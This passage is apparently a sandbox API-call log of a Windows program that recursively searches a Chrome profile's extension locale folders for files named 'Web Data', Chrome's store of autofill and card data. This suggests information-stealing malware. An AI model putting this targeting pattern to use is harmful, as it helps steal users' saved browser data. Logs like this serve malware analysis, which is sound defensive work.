IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*" [0056.184] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.185] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.185] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.185] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.185] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.185] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.185] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.185] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.185] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.185] LocalFree (hMem=0x2daca0) returned 0x0 [0056.185] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.185] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.185] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.185] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.185] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.185] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.185] lstrlenA (lpString="\\") returned 1 [0056.185] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.185] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.185] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.185] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.185] lstrlenA (lpString="pl") returned 2 [0056.185] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.185] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.185] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" [0056.185] LocalFree (hMem=0x2daca0) returned 0x0 [0056.185] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned 131 [0056.185] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned 131 [0056.185] lstrlenA (lpString="\\*.*") returned 4 [0056.185] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.185] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" [0056.185] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*" [0056.185] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.185] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.186] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.186] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.186] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.186] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.186] LocalFree (hMem=0x2daca0) returned 0x0 [0056.186] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.186] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.186] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.186] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.186] lstrlenA (lpString="\\") returned 1 [0056.186] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.186] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.186] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.186] lstrlenA (lpString="pt_BR") returned 5 [0056.186] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.186] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.186] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" [0056.186] LocalFree (hMem=0x2daca0) returned 0x0 [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned 134 [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned 134 [0056.186] lstrlenA (lpString="\\*.*") returned 4 [0056.186] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.186] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" [0056.186] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*" [0056.186] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.186] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.186] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.186] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.186] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.186] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.186] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.186] LocalFree (hMem=0x2daec0) returned 0x0 [0056.186] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.186] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.186] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.186] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.186] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.187] lstrlenA (lpString="\\") returned 1 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.187] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.187] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.187] lstrlenA (lpString="pt_PT") returned 5 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.187] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.187] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" [0056.187] LocalFree (hMem=0x2daca0) returned 0x0 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned 134 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned 134 [0056.187] lstrlenA (lpString="\\*.*") returned 4 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.187] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" [0056.187] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*" [0056.187] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.187] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.187] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.187] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.187] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.187] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.187] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.187] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.187] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.187] LocalFree (hMem=0x2daec0) returned 0x0 [0056.187] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.187] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.187] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.187] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.187] lstrlenA (lpString="\\") returned 1 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.187] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.187] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.187] lstrlenA (lpString="ro") returned 2 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.187] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.187] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" [0056.187] LocalFree (hMem=0x2daca0) returned 0x0 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned 131 [0056.187] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned 131 [0056.187] lstrlenA (lpString="\\*.*") returned 4 [0056.187] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.187] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" [0056.188] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*" [0056.188] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.188] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.188] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.188] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.188] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.188] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.188] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.188] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.188] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.188] LocalFree (hMem=0x2daca0) returned 0x0 [0056.188] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.188] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.188] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.188] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.188] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.188] lstrlenA (lpString="C:\\Users\\aDU0VK 